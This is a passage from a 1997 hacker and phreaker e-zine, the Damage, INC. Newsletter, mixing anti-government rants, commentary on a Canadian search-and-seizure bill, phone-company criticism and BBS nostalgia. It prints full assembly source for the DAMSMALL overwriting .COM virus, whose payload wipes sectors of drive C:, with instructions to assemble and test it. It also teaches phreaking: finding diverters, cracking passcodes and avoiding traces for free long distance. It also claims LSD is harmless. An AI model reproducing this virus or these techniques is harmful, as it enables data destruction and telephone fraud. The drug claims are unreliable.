end, the undercover CSIS agent ascended through the ranks and was a leader that
spoke at meetings. Instead of just gaining information on the Heritage Front,
he actually helped them grow, become stronger, raise funds and awareness of the
group. Haha. That's a perfect example of how CSIS attempts to closely watch
an internal group of individuals, and it backfires when they benefit the group
that they've targeted. There was even a documentary on TV about the entire
ordeal. I must admit, it was hilarious to see a Heritage Front member thanking
CSIS for helping them and saying that they did absolutely no harm. Meanwhile,
we pay millions of tax dollars to fund CSIS. Why? Well, the only answer is
so that they can fuck up like in that case and waste our money. Or, so that
CSIS can bug the houses of every citizen that they deem to be "suspicious".
If you are affiliated with a group that's anti-government, you are instantly on
their hit list. That is, no evidence is required for them to take actions
against you. Is that democracy? I think not. CSIS is comparable to the CIA
in many ways. The only major differences are that they aren't as organized,
established or powerful. The CIA has tremendous resources and their power is
far reaching (the entire world), whereas CSIS mainly spies on the people within
Canada's own borders. That is why they are the epitome of Big Brother. Time
and time again they've demonstrated their willingness to flagrantly violate the
laws, rights and invade the privacy of Canadian citizens. That's the reason
they should be eliminated before their control becomes stronger. The only
plausible way to do that is by fighting fire with fire. In other words, their
corrupt and sickening ways can be used against them. I will continue to get
information on CSIS and write articles in order to expose the truth. CSIS
actually stands for Cancer Spreading In Secrecy. The key to destroying them is
information. Instead of fearing CSIS, fight them by being prepared and by
possessing the knowledge of how they think and act. Kill the cancer.
Written by BLACKENED <20> Damage, INC. (C)opyright 1997.
BLACKENED'S TIP OF THE MONTH - {BLACKENED}
Virus detection techniques:
There are many people that are paranoid about viruses these days. Therefore,
they scan their computer systems regularly with virus scanners such as F-PROT,
McAfee's Scan, TBAV, Norton Anti-Virus etc. in an attempt to feel safe. The
problem with that is, they are only given a false sense of security. Those
virus scanners can't detect every virus. Even if you use F-PROT Heuristics
Scan, you still won't be able to find everything. However, you might encounter
some false alarms as it wrongly detects files that aren't infected at all.
F-PROT's secure scan will only detect viruses that were sent to Data Fellows
to be analyzed. They disassemble it and create a scan string. Then, the
new version of F-PROT that they release looks for that code in files. It's
a rather simple method and quite primitive in a way. If you want to continue
scanning your hard drives, or new files that you download... that's fine. I'm
not trying to tell anyone not to do that. In my opinion, that isn't the safest
or most reliable way to detect viruses.
The best method is to use another computer system for virus testing. Using
an old 286 system with a hard drive is perfect for that task. Then you can
do whatever testing you want, without worrying about files being infected etc.
Obviously, not everyone has more than one computer available to them. That's
the reason I decided to write about virus detection techniques for those that
only have a single computer. First, you need to get a copy of HideDrive by
Damage, INC. Read the docs carefully before you attempt to use it. Basically,
HideDrive is a utility that's designed to hide and unhide hard drives. The
virus detection technique isn't difficult to use. Simply copy the suspicious
file (or a known virus) to a floppy disk, as well as several COM and EXE files.
Then use HideDrive to hide every hard drive on the system. Change from drive C:
to A:. To check and make sure that the drives were properly hidden, try
changing to them by typing C:. If the DOS error message "Invalid Drive
Specification" is reported, that means drive C: is hidden. Now execute the
suspicious or infected file on the floppy.
The other COM and EXE files on the disk will be used for testing purposes. If
their file size, date or time changes after you try executing the suspicious
file...that means they've been infected by a virus. The virus might go memory
resident, so remove the disk and press your Reset button to be safe. You can
then view the files with a hex editor to check and see if they were overwritten
or if code was appended by the virus. Simply compare the files with the hex of
the actual virus.
You can comment out the nuke procedure, assemble the DAMSMALL virus and safely
use it with the above method for testing. Once you have more experience using
HideDrive, you can test more complex viruses that go memory resident, use
stealth routines etc. They won't be able to do normal writes to files that are
on your hard drives (as long as they've been properly hidden first). ;)
As an example, if a virus attempted to infect COMMAND.COM (although most don't
do that for obvious reasons)... you'd probably see a DOS error message that
says "Invalid drive specification" since drive C: was hidden. That is, the
virus wouldn't be able to write to C:\COMMAND.COM. It can't infect a file that
it can't find and write to. ;) Just be careful using this method though.
HideDrive won't protect your hard drives from trojans that use BIOS writes etc.
That's the reason this method is only recommended for use with viruses. If you
have any questions, contact us.
Written by BLACKENED <20> Damage, INC. (C)opyright 1997.
CONSPIRACIES AND COVERUPS - {COVERUPS}
Bill C-17: Kiss your rights goodbye.
Disclaimer:
The sections of Bill C-17 (35th Parliament session) listed below comes from the
Government of Canada web site. If there is any misinformation, they are
responsible for it. It took me hours to find confirmation that Bill C-17
received royal assent, and was enforced by the Department of "Justice" of
Canada. The Government intentionally makes it difficult to learn about laws.
"Ignorance of the law" is their greatest weapon.
On April 25, 1997, Bill C-17 received royal assent from the government. Its
purpose is to amend the Criminal Code, as well as some other acts. Some of
the notable sections are: Immunity to criminal prosecution if a police officer
commits a crime while undercover (too many exemptions to list); making occupancy
in a stolen vehicle a criminal offence (section 15); and punishing those that
think they committed a criminal act, even if they didn't (section 28).
In this article, it is my intent to show you portions of Bill C-17 relating
to police searches and seizures. These revisions to the Criminal Code
formally create loopholes for police officers. I will start by showing you
section 46:
46. The Act is amended by adding the following after
section 487.1:
Where warrant not 487.11 A peace officer, or a public officer who has
necessary been appointed or designated to administer or enforce
any federal or provincial law and whose duties include
the enforcement of this or any other Act of Parliament,
may, in the course of his or her duties, exercise any
of the powers described in subsection 487(1) or
492.1(1) without a warrant if the conditions for
obtaining a warrant exist but by reason of exigent
circumstances it would be impracticable to obtain a
warrant.
Basically, this gives a police officer an excuse if he decides to search your
premises without a warrant. Who determines the "exigent circumstances?" The
police officer of course.
Let's look at section 41, which may be of interest to hackers and phreaks.
Section 41 deals with search and seizure of computer data.
41. Section 487 of the Act is amended by adding the
following after subsection (2):
Operation of (2.1) A person authorized under this section to search
computer system a computer system in a building or place for data may
and copying
equipment
(a) use or cause to be used any computer system at
the building or place to search any data contained
in or available to the computer system;
Section 2.1(a) is particularly disturbing. What is considered "available to the
computer system?" Can a cop use the computer system with a modem and phone line
to search other computer systems "available to" it? The vagueness of 2.1(a)
opens up a multitude of loopholes for the investigator.
(b) reproduce or cause to be reproduced any data
in the form of a print-out or other intelligible
output;
(c) seize the print-out or other output for
examination or copying; and
(d) use or cause to be used any copying equipment
at the place to make copies of the data.
These subsections add insult to injury. The cop can seize a blank floppy under
(d) and use it to satisfy (b). Any computer hardware you own *will* be used
against you.
Duty of person in (2.2) Every person who is in possession or control of
possession or any building or place in respect of which a search is
control carried out under this section shall, on presentation
of the warrant, permit the person carrying out the
search
(a) to use or cause to be used any computer system
at the building or place in order to search any
data contained in or available to the computer
system for data that the person is authorized by
this section to search for;
My own perception of this subsection is that the person being searched is
supposed to act as an assistant to the cop. Look at the words "cause to be
used." What is the scope of that? Must the person being searched provide
passwords and encryption keys in order to satisfy 2.2(a)? If so, the person
being searched either incriminates himself, or is charged with obstructing the
cop's search.
(b) to obtain a hard copy of the data and to seize
it; and
(c) to use or cause to be used any copying
equipment at the place to make copies of the data.
22(b) and (c) reinforce 21(b), (c) and (d). The person being searched is
supposed to allow (assist) the cop in obtaining copies of the data.
It would be to the advantage of the cops and crown prosecutors if the suspect
is forced to provide complete access to the data on his system. Once they
obtain access to any incriminating (or allegedly incriminating) data, they
can seize every electronic device "in or available to" the data. Under
section 48(2) (entitled Seizure without warrant) of Bill C-17, it is possible
for a police officer to seize anything that he believes was used to perform
a criminal act. If the cop doesn't want to do that, he can pick up your phone,
call up a judge and get a "telewarrant" (sections 42(7) and 44(3)) for anything
else he wants to search for or seize.
I could go on for many more pages talking about other sections that deal with
search and seizure. However, the small amount of text that I imported from
Bill C-17 should be enough for you to realize that section 8 of the Charter of
Rights and Freedoms ("the right to be secure against unreasonable search and
seizure") is a fucking joke. Bill C-17 is nothing more than a huge government
conspiracy to make any person living in Canada vulnerable to (literally)
unwarranted police invasion. With extended powers and criminal immunity, the
police can arrest anyone for anything. The government seeks total control over
the population, and the threat of imprisonment, and financial ruin due to legal
fees, does keep some people under their thumb.
The way I see it, they are trying to coverup the fact that they are taking
active steps to create the Canadian Thought Police. Don't assume that you have
certain rights and freedoms, because as each bill is passed they are being
raped from us. Assuming anything is a mistake in itself.
Written by Shatazar <20> Damage, INC. (C)opyright 1997.
CORRUPTION AND GREED - {GREED}
Bell preys on naive customers.
Bell is a well known, fat cat company that enjoys a monopoly of telephone
service in Canada. Since they've never had to compete in an open marketplace,
they rely on their monopoly in order to finance their greedy corporate culture.
Bell is known for their total lack of respect for their customers. They
know that there is no where else for people to go for local telephone service.
At one time, Bell had a monopoly on the telephone itself. The only "legal"
telephones were the ones that were rented directly from Bell. This policy
was enforced for decades. Then Bell was forced to soften the policy. Bell
required that one telephone must be rented from them, but extension
telephones could be purchased. That is over now. Bell can't force us to
rent one of their shitty, overpriced telephones anymore.
Bell still makes a tremendous amount of money from naive customers that
continue to rent telephones. Why do these people choose to rent a telephone
from Bell? Unlike major household items, a telephone is a relatively
inexpensive machine. Telephones are also fairly uncomplex, so they can be
used for decades without having any kind of a breakdown. I personally fail
to see why anyone should rent a telephone. Unless the intent of telephone
renters is to feed Bell's greed by joyfully putting money into their pocket.
:-(
Bell's primary residential phone renters can generally be put into two
groups. The first groups are young yuppies that rent the "top of the line"
telephone with all the little Bell buttons. They "need the best" to compete
with their snobby neighbours. Since they may not be able to afford one
that costs $250 or more, they rent it. These morons also believe that blowing
money on all of Bell's services (Call Screening, Caller-ID, etc.) is a
necessity. If these people would have a little bit of self-control, they would
save up enough money to buy the phone outright.
I do have some sympathy for the second group of Bell telephone renters; the
elderly. They are from the era of the Bell "rental monopoly" and many haven't
realized that they can return Bell's phone and own their own. Most seniors are
trusting people, so they don't tend to look at their telephone bill carefully.
They don't realize how much money they have allowed Bell to take from them. Of
course, Bell is careful to let seniors think that their corrupt telephone
policies are still in effect. To this day, Bell service operators still ask "Do
you have a Bell phone?"
However, I have found it isn't a total waste of time to inform seniors how they
are being gauged by Bell. My grandmother rented a Harmony touch tone telephone
from Bell for 13 years. Bell charged her $3.55 per month, plus 15% taxes. That
works out to be $48.99 per year. (Try multiplying $48.99 by the millions of
people that rent phones from "Ma Bell" :-(). A refurbished Harmony phone costs
$14.99 ($17.29 with taxes) at a discount department store. A new Harmony phone
doesn't cost much more than $25. Here is the real kicker. Performing simple
math, 13 * $48.99 equals $636.87. That doesn't even count the years she rented
one of those ancient, black rotary phones that sit in many bedrooms, basements,
attics and barns throughout Canada.
When I found out that she was renting, I helped her by doing the above
calculations. And she understood them. She paid for 40 refurbished Harmony
phones over the past 13 years. She decided that she wanted to stop the eternal
bleeding that Bell was causing. We returned the Harmony phone to Bell, and she
bought a new telephone with large buttons, which will pay for itself in two
years.
I recommend that you do the same thing for the naive. Ask you parents, your
grandparents, and everybody else you have respect for if they rent a phone from
Bell. Help them out with some simple mathematics. Let them know how many
telephones they could have bought with the money they gave to Bell. Hopefully,
they will no longer want to be a part of the rental scam that Bell has been
profiting from since their corrupt beginnings. Either that or you can take
matters into your own hands. Since Christmas is near, you could cross one
gift off of your list by buying them a telephone. You'll also be eliminating a
little bit from Bell's income statement. 'Tis always the season to fight back
against Bell! ;-)
Written by Shatazar <20> Damage, INC. (C)opyright 1997.
H/P INFORMATION AND NEWS - {NEWS}
Information on ANIs and diverters:
This section was written and intended for newbies that have little or no
phreaking experience. First, I'd like to clear up some misconceptions. I've
been asked questions such as "Does *67 cost anything?" many times by users
on boards in 519. *67 is free. Also, I've seen people ask "Does *67 block
out the phone number if the other person uses *69 after you hang up?" Yes,
your number won't be reported to them. "Does *67 get around call screening?"
No, it doesn't. If the person uses call screening to prevent you from calling
them from a certain number, you need to use a diverter. ;) Maybe a complete
list of Bell *## codes and what they do is necessary.
ANIs/ANACs and diverters are two things that novice phreaks should definitely
learn and know about. They are both very important and useful for several
reasons. ANACs (Automatic Number Announcement Circuits) can be local or 1-800
numbers etc. As an example, you dial the number 1-800-555-5555 and it reports
what your number is. Obviously, it's useful for finding out the number while
you're beige boxing...but also for finding out if an extender diverts. If you
have an extender and want to find out if it's also a diverter, simply use it to
call an ANI. Not all extenders divert though. Plus, there are occasions when
you need a local diverter that isn't an extender. For example, if you wanted
to call a local ISP and divert your number. To find diverters, use ToneLoc to
scan for them. You'll probably find a diverter or two, some extenders, PBXs
etc. Usually, there's a 4 or 5 digit passcode on them which can be hacked
quickly. If the passcode is more than 6 digits, try hacking another one as it
will require too many attempts.
At this point, you might be asking "What do I need a diverter for anyways?"
If you plan on dialing out through a PBX or using an extender for free ld, you
should consider using an extender. Another instance would be hacking an ISP
or using hacked accounts. Diverters are also useful for calling numbers that
have Caller ID, Call Screening or an ANI. Many PBXs, 1-800 extenders, systems
etc. have ANIs...so use diverters to avoid being busted. You can also use
extenders that divert (check to make sure they do first) to access an ISP
through the local number they have in that area. Most ISPs have numbers that
are local to different areas, so using extenders that divert is a fairly good
method to use. Using several diverters is even better and more difficult to
trace. Don't assume that the number you're calling doesn't have an ANI unless
you want to get busted. Once you have some diverters, you can use them with
ToneLoc to scan etc. safely. The possible uses for them are almost endless.
ANIs can also be used with CNAs. "What the fuck is a CNA?" CNA stands for
Customer Name and Address. If you're beige boxing and used an ANI to get the
phone number (or you just want to find out the Name and Address of a telephone
number) you can use a CNA to get that information. There are local and ld CNAs
as well as 1-900 (pay per minute) CNAs that some private companies provide as a
service. Most of them are setup by the local telco for use by linesmen etc.
They use an ANI to find the number for a line (which is just a pair of wires),
and then they dial the CNA number to find out their Name and Address. Telco
personnel use them and phreaks do as well. They're quite useful in any
situation when you require that information. As in, you can setup a
teleconference while you are beige boxing by using an ANI and a CNA. ;)
In the next issue of the Damage, INC. Newsletter there will be more information
on PBXs, VMBs etc. I'll discuss what they do, how to find them, hack them and
use them without getting caught. Until then, start reading phreaking related
text files, experiment with ToneLoc and any codes that you find.
Written by Blackie Lawless <20> Damage, INC. (C)opyright 1997.
INTERVIEWS AND INTERROGATIONS - {INTERVIEWS}
Savage Dragon's hilarious message:
I simply couldn't resist including a copy of this message in the Damage, INC.
Newsletter. It was posted in a public base on FoI Archives. My intention
isn't to humiliate him. I'm not trying to be malicious in any way. I just
found it hilarious. Basically, I decided to publish it instead of doing an
interview or interrogation in this issue. Just remember, anything that you
post on a board can be captured/imaged and used by anyone else for their own
purpose. In this case, we just took a message and published it so that our
readers in other area codes (outside of 519) can have a good laugh. ;)
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There I was .. a clueless newbie with an internet account from daddy. I got
into the irc business, all the good stuff. Then I learned about shells. I
found out I had one, and learned how to access it (tough stuff). So, I ftp'd
to to it using good old cuteftp, and started looking around at not only the
shit in my directory, the shit in other directories. There I noticed there
was a big names list of all the poeple's login names. I was in business. Big
time. After I wrote down about 30 names from the list, I loaded up good old
telnet.exe and telnet'ed to my isp, trying every username i wrote down, as for
the password, i just used the username too. :P As I was chatting on irc, no
doubt everyone was laughing at my incredible 'hax0ring' skills, they told me
to try the login name "root". I tried that for about 10 logins, and then
poof, i was disconnected. I went to reconnect, and every time it wouldn't
work. So i called them up and told them something was wrong with my account,
and I couldn't login. In response, they told me "ya, we locked you out". I
chatted with them for a while, then left still wondering how they traced me.
:) I was on my sentex accoutn, telnetting to sentex. Smart. :P Uh. I'm
getting sick of this shit ..
savage dragon
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LETTERS TO THE EDITOR - {LETTERS}
I received these messages on FoI and Distraught Continuum. If you have any
feedback, leave BLACKENED Email or Netmail.
Date: 2:32 pm Thu Nov 27, 1997 Number : 746 of 749
From: Sprite Base : [Damage, INC. Discussion]
To : Blackened Refer #: None
Subj: Damage, INC Newletter #3 Replies: None
Stat: Normal Origin : Local
I just got done reading the latest newsletter.. When I read your "Interview"
with Billy boy... I almost pissed myself laughing.. twice. Your information
is always accurate and your 'gut instinct' <-refering to latest interview!
Should be applauded.. Well.. I hope you keep it up.. It's looking very
promising!
l8r
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date: 1:19 pm sat nov 29, 1997 number : 4 of 4
from: Kalamity base : Private Mail
to : Blackened refer #: none
subj: Hey replies: none
stat: normal origin : local
Just thought I'd drop a note letting you know that I downloaded all the Damage
Inc. newsletters released so far, and that I think they're excellent! One
thing I will try is Toneloc. Because, honestly, who likes paying Bell for
long distance charges? :)
Kalamity
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Editor - Sprite, we're glad you enjoyed the interrogation of Billy Gates. It
was intended to be humorous. Basically, we wanted to humiliate him
and give the readers a good laugh at the same time. ;) Thanks for
the feedback man.
Kalamity, I hope you continue reading the Damage, INC. Newsletter.
It is good that you're taking an interest and learning more about
ToneLoc etc. Your point about ld charges is well taken. Thanks for
the feedback and compliment about our releases.
OBJECTIVE OPINIONS - {OPINIONS}
Timothy Leary and Drugs:
"Turn on, tune in, drop out"
"Surfing the chaos"
Timothy Leary lead an amazing life. He advocated the use of LSD and other
psychedelic drugs... that expand your mind. He was outspoken, and not afraid
to break the laws in order to convey his message. He was imprisoned, made a
daring escape... fled the United States... and lived in Switzerland until he
was captured in Afghanistan and returned to the U.S. He was anti-establishment
and believed in personal freedom and thought. Even in death, he managed to
capture attention by having his head removed and frozen... to be preserved in
a cryogenic state. His body was then cremated and the ashes were dispersed in
space. His death was filmed, and I was able to watch as they cut off his head
and put it in a clear container filled with ice. His face was positioned
towards the camera. I can honestly say, I have never seen anything quite like
that before. Of course, it's possible that the decapitation of his head was
faked. Real or not, he managed to make everyone that viewed the event think.
Leary had many accomplishments that are noteworthy. He toured universities as
a speaker. He had a PhD and was also a writer. Over the years, he wrote many
books. Some of them were written while he was serving a sentence in a
California prison. Leary once said that law enforcement was closely related to
agriculture since "police officers are very skilled at planting." to paraphrase
him. He was busted for possession of two joints, which a cop put into the ash
tray of his car. Given his reputation, it shouldn't be too difficult to picture
them framing him. The judge didn't give him bail at his trial because he said
his "ideas were dangerous". President Richard Nixon called Timothy Leary
"the most dangerous man alive." because of the books he'd written and the
speeches he had made. Imagine that. Meanwhile, Leary was just a philosopher
with ideas that the government didn't agree with. He was persecuted for his
ideas, his words, his lifestyle and his mind. That was the real weapon.
Leary's imagination and philosophies weren't "acceptable" to the Government of
the United States of America. In their view, he had very dangerous ideas about
drugs etc. that they are still trying to battle in their little "war against
drugs" until this day. However, they will never win the war on drugs... as long
as there are eloquent, aggressive, free thinkers like Leary around to speak out.
Don't conform. Become Informed. Don't just believe everything like a zombie.
Instead of listening to propaganda that is intended to brainwash you, educate
yourselves. LSD won't harm you. The THC that's in marijuana doesn't
permanently alter your brain. ;) The anti-drug campaign is orchestrated by
unintelligent members of Big Brother. They will tell you that smoking weed
makes you stupid. If that's true, how was Leary (a frequent drug user) able to
write so many excellent books? Also, why can't they create more imaginative
slogans? "Just say No" says nothing at all. They group everything together.
Are crack, heroin, cocaine, hash, acid, marijuana etc. all the same? No, of
course not. Yet, that's what you are *told* and supposed to believe. Here
is my answer to that: Fuck "the establishment". Fuck "the system".
Fuck "society". Fuck Big Brother. They lie in order to control the citizens.
They expect their words to be taken as truth. They're wrong in assuming that
everyone is blind.
Leary was a very controversial figure. Big Brother tracked, monitored and
feared him because they thought he was a threat to "society". He had strange
ideas, different behaviour and ways of doing things. That is, he didn't just
go with the grain. In fact, he was infamous for saying things that go directly
against the norm. That is why I feel that he was a genius. I'm not basing
that statement purely on his intellect either, but rather the way in which he
lived his life. He wasn't afraid to be involved in the whole counter-culture
movement of that era. Leary was also a cool person that bridged the generation
gap and could relate seemlessly with much younger people. He was able to teach
them about things that weren't often discussed openly during that time. Leary
would say anything that he believed in, and should be commended for doing that.
I *know* some of you are enlightened enough to understand the message that is
expressed in this short article, and form your own opinions. That's all that
I can ask for. Unfortunately, the same can't be said of your own government...
as they don't want you to read this and form your own opinions about what is
written. My final comment is that I've seen some of Leary's expressions altered
and abused for commercialism and capitalism. As in, "Turn on, tune in and win"
has been used to advertise contests etc. In my opinion, that is a pathetic
example of how a message can become distorted and used for another purpose.
The majority of the time, the purpose is to exploit it and make money. Greed is
another topic though, so I'll just end this by saying; Think and you will
prosper.
Written by BLACKENED <20> Damage, INC. (C)opyright 1997.
REPORTS FROM THE FRONT - {REPORTS}
(c) 1997 Mark Stachiew
(c) 1997 The Montreal Gazette
CYBERNAUTS SING THE PRAISES OF BULLETIN BOARDS
by Mark Stachiew
Back in the Stone Age of computers, before Bill Gates had made his
first million and the Internet had yet to see its first "spam" message,
computer users talked with each other via Bulletin Board Systems
(BBSes).
While the World Wide Web has taken a bite out of the number of
BBSes, they never really went away and now the old-timers who still
use them are banding together to tell cyberspace newcomers what
they're missing.
A BBS is basically a computer sitting in someone's home running
software which allows it to answer incoming calls. Other computer
users call the BBS to exchange messages, play games and download
computer programs. It really is an electronic bulletin board.
They are usually free to call since the system is being run as a
hobby by someone who is donating time and computer. No fancy browsers
or hardware are required. The lowliest computer with a modem and
terminal program will be enough to connect to a BBS.
Longtime users of BBSes remain nostalgic about the early days of
the 1980s when the first home computers gave birth to the fledgling
bulletin boards. In those days BBS callers used glacially-slow 300
baud modems with acoustic couplers that had to be fit over telephone
handsets and looked like rubber earmuffs. They endured these hardships
because of the magic that BBSes created. It was a new form of
communication which allowed people to make contact with total
strangers which sometimes developed into lifelong friendships.
Lynda McCormick knows all about BBSes bringing people together. She
runs one of the oldest ones in Montreal. McBB has been in continuous
operation since 1984 [typo here, actually it was 1987 - we just
celebrated our 10th anniversary this month! --Bl.] and people who
called on the first day are still calling 13 [10] years later. "Some
of the old-time users will still call in long-distance when they've
moved away," she says. "Not on a regular basis, but it's fantastic to
hear from them and hear how life is treating them now in Toronto,
London, Ontario, Seattle, or L.A."
McCormick is still enthusiastic about BBSing and is creating an
online BBSing Museum with electronic ephemera from BBSes which have
long since vanished into the ether. "The BBS scene in Montreal has
been a very rich one with many characters, personalities and a few
very hilarious stories," she says. "I for one would like to see it
preserved and cherished as it should be, and not simply swept away
and forgotten."
One local BBS operator, Steve Monteith, has maintained a list of
Montreal bulletin boards (www.vir.com/~capt_xerox/bbslist.html) for
nearly 12 years. Looking over archives of the list demonstrate how
much damage the Web has done to BBSing in this city. In 1989,
Montreal boasted 175 computer bulletin boards. That number grew
steadily, peaking at 482 in 1995 which is about the time the Web began
to blossom. Since then the number of BBSes has plummeted to 221. At
that rate of decline they could be extinct in two years.
So do BBSes have a future? The people who still use them think so.
They persist because they create a sense of community among users and
because callers usually live in the same town, so they are able to
get together offline where friendships are formed. That can be
difficult on the Internet where you could be exchanging E-mail with
someone from Zimbabwe or Kuala Lampur.
Monteith notes a few other advantages of the local BBS over the
Internet. You won't get unwanted E-mail (spam) and BBSes are rarely
commercial. "You can read through whole message bases, and not see an
advertisement and you can be quite sure that your name on a BBS isn't
going to be sold to some mailing list."
An international grass-roots organization has sprung up to spread
the word about BBSes. The Council for Online Community Alternatives
(http://coca.home.ml.org) aims to promote BBSes as an alternative to
the Internet and to build awareness among computer users that BBSes
are available in their communities. They maintain that in recent
years millions of people have rushed out to buy computers thinking
their only online alternative was the Internet, oblivious to the
existence of local BBSes.
COCA likes to point out some of the advantages of BBSes. For
example, at peak times the busy Internet can slow to a crawl. That
isn't a problem on a BBS since there is usually only one user
connected at a time so your new fast modem will actually work at full
speed. Unlike most discussion groups on the Internet, the ones on
BBSes are usually moderated and ill-tempered "flame" wars are less
common. And pornography is much rarer on BBSes.
BBSes are becoming more sophisticated. Many local BBSes now offer
Internet E-mail and access to select Usenet newsgroups. Some have lots
of downloadable files while others use flashy terminal programs which
give them a graphical interface which is almost as easy to use as a
Web browser. Some bulletin boards are even directly accessible over
the Web, usually via telnet. You can find a list of other Internet
BBSes at http://dkeep.com/sbi.html.
Other BBS resources on the Web:
BBS FAQ
www.sysopworld.com/bbsfaq/text/faqmain.htm
DIRECTORY OF NORTH AMERICAN B.B.S.es
www.thedirectory.org/areacode.htm
B.B.S.es ON THE INTERNET
www.digitalis.net/~messer/bbs/
THE WORLD OF B.B.S.ing
www-scf.usc.edu/~thuyenqu/bbsing.htm
SOURCE AND SCRIPTS - {SOURCE}
Virus Name: DAMSMALL
Variants: None
Status: New
Written: December 1997
Symptoms: Infected .COM files, C: is nuked if activated
Origin: Canada
Length: 90 to 105 bytes (with nuke procedure)
Type Code: .COM Infector
Detection Method: F-PROT Heuristics
Removal Instructions: Delete all infected files. They cannot be cleaned since
the start of their code is overwritten.
General Comments: The DAMSMALL virus infects .COM files by overwriting them.
It alters the date/time stamp of infected files but doesn't
increase their size. The infected files simply become a copy
of the actual virus (the first 90-105 bytes). The virus will
activate the nuke procedure when there aren't any .COM files
in the current directory to infect. Upon activation, it will
nuke the first 120 sectors of drive C: and then halt the CPU.
It's a very small, simple virus. There are no variants of
the DAMSMALL virus. I'm releasing the commented source code
so that readers can use it as a learning tool.
-------------------------------------------------------------------------------
; [DAMSMALL] virus (105 bytes)
; Written by BLACKENED of Damage, INC. (C)opyright 1997.
; TASM /M DAMSMALL.ASM TLINK /T DAMSMALL.OBJ to assemble.
code segment
assume ds:code, ss:code, cs:code, es:code
org 100h ;All COM files start here
virus_length equ finish - start ;Length of the virus
start label near
damage proc near
id db 'DI' ;The virus ID is DI which stands
;for Damage, INC.
damage endp
main proc near
mov ah,4eh ;Find first file function
mov cx,00100111b ;CX holds attribute mask
mov dx,offset filespec ;DX points to *.COM files
findlp:
int 21h ;Call DOS to execute function
jb nuke ;Nuke if there are no COM files
call infect ;Attempt to infect the file.
jne exit ;Exit if we were successful.
mov ah,4fh ;Find next file function
jmp short findlp ;Repeat process
exit:
mov ax,04C00h ;Terminate program
int 21h ;Return to DOS
main endp
nuke proc near
cli ;Prevent all interrupts
mov ah,03 ;BIOS write sectors
mov al,120 ;Number of sectors to nuke
mov ch,00 ;Cylinder
mov cl,01 ;Sector number
mov dh,00 ;Head number
mov dl,80h ;Drive C:
int 13h
hlt ;Halt CPU
nuke endp
infect proc near
mov ax,3d02h ;DOS Open the file
mov dx,80h+1eh ;Moves filename into dx
int 21h ;Execute function
xchg bx,ax ;Save handle to BX
mov ah,3Fh ;DOS Read from file function
mov cx,2 ;CX holds 2 bytes to read
mov dx,offset holdit ;DX points to holdit buffer
int 21h
cmp word ptr [holdit],4944h ;Are the two bytes "DI"?
pushf ;Save flags
je close ;Yes, close the infected file.
xor dx,dx ;Zero DX
xor cx,cx ;Zero CX
mov ax,4200h ;File seek function at
int 21h ;the start.
mov ah,40h ;DOS Write file function
mov dx,offset start ;DX points to start of code
mov cx,virus_length ;Put size of virus in CX
int 21h ;Write virus into file
close:
mov ah,3eh ;DOS Close file function
int 21h ;The file is now infected and closed
popf ;Restore flags
ret ;Return
holdit dw ? ;Buffer used to hold first 2 bytes
infect endp
filespec db '*.COM',0 ;File type is *.COM
finish label near
code ends
end damage
-------------------------------------------------------------------------------
THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING}
Awakening:
I traverse into the darkness, like a soldier on a search and destroy mission
that's encompassed by the jungle of Vietnam. Stealthfully I journey onward
towards the source of my own existence, limitations and ultimate downfall.
As I look into the blinding blackness, I find the enemy within. My mind
is now clear and sound. The obscure, disturbing thoughts have faded to black
and I realize the true meaning of my discovery.
Everyone has an enemy within them. To contemplate its destruction, you must
understand its purpose. To comprehend its purpose you must know how the
enemy attacks your own thoughts and lives in your inner being.
The enemy devours creativity, innovativeness, individualism and free thought.
It preys upon your weakness and drains your ideas and opinions away.
True freedom can only be obtained by making a conscious decision not to
conform. Fight against control. Break free of the shackles that bind you
and experience reality.
Self-awakening cannot be explained. To achieve enlightenment, you must define
your own uniqueness and live by it. Eliminate the enemy and you will be free.
* * *
Someone once said that nothing you say hasn't already been said. Poetry
disproves that statement. It demonstrates that the written word can be used
in different combinations to convey an idea, message or simple thought. The
power of it lies in the way the words are expressed. That is what makes each
poem unique. If you found this short poem to be interesting and thought
provoking, then that's great. If not, then perhaps you weren't able to grasp
the symbolism and meaning. This section is a recent addition to the
Damage, INC. Newsletter. The poem above was written by BLACKENED. We will
also publish interesting, thought provoking poems that are sent to us by our
readers. The frequency and status of this new section are in question at this
point in time. In other words, the determining factor is the amount of quality
material that we have to work with. Therefore, this section might not exist
in every issue of the Damage, INC. Newsletter.
Written by BLACKENED <20> Damage, INC. (C)opyright 1997.
CLOSING COMMENTS - {CLOSING}
BLACKENED's Hostile Closing Comments:
Damage, INC. is proud of the Damage, INC. Newsletter and this December issue.
I'm personally pleased with the overall results we've achieved after many hours
of dedicated work. I honestly hope that you enjoy reading what we've written.
Also, we want you to let us know if you've learned anything, used any of the
information that we've shared, or put a technique into practice.
I admit, not every paragraph is eloquently written and our articles aren't all
literary classics by any means, but we *always* strive for excellence. Quality
is extremely important to us. We try to have a theme for each issue. In fact,
we believe that nothing else should be allowed to outweigh the actual message.
That is why most of our time is spent making sure a clear message is presented
to the readers. The majority of the information in this issue is geared towards
h/p newbies. However, that will change in the future. More advanced h/p
related tips, methods, techniques etc. will be included for those that already
have some knowledge and experience... and haven't just entered the h/p scene.
If you aren't a newbie don't despair, continue reading the Damage, INC.
Newsletter. In the meantime, you can become involved and contribute. That'll
speed up the process of educating newbies, and we can then move forward. Last
but not least, have a happy fucking New Year! ;)
We're still looking for Writers, Members and Distribution Sites. If you'd like
to apply to Damage, INC. and join a respected h/p group, then download a copy of
the Damage, INC. Application Generator. If you want any of our releases, they
are currently available on the following boards:
...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only.
Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t.
Distraught Continuum - h/p/a/c/v/t, programming, etc.
Any feedback or letters to the editor should be sent to BLACKENED in Email on
on a Damage, INC. board near you. I can also be contacted via Echomail/Netmail
in several nets.
- EOF

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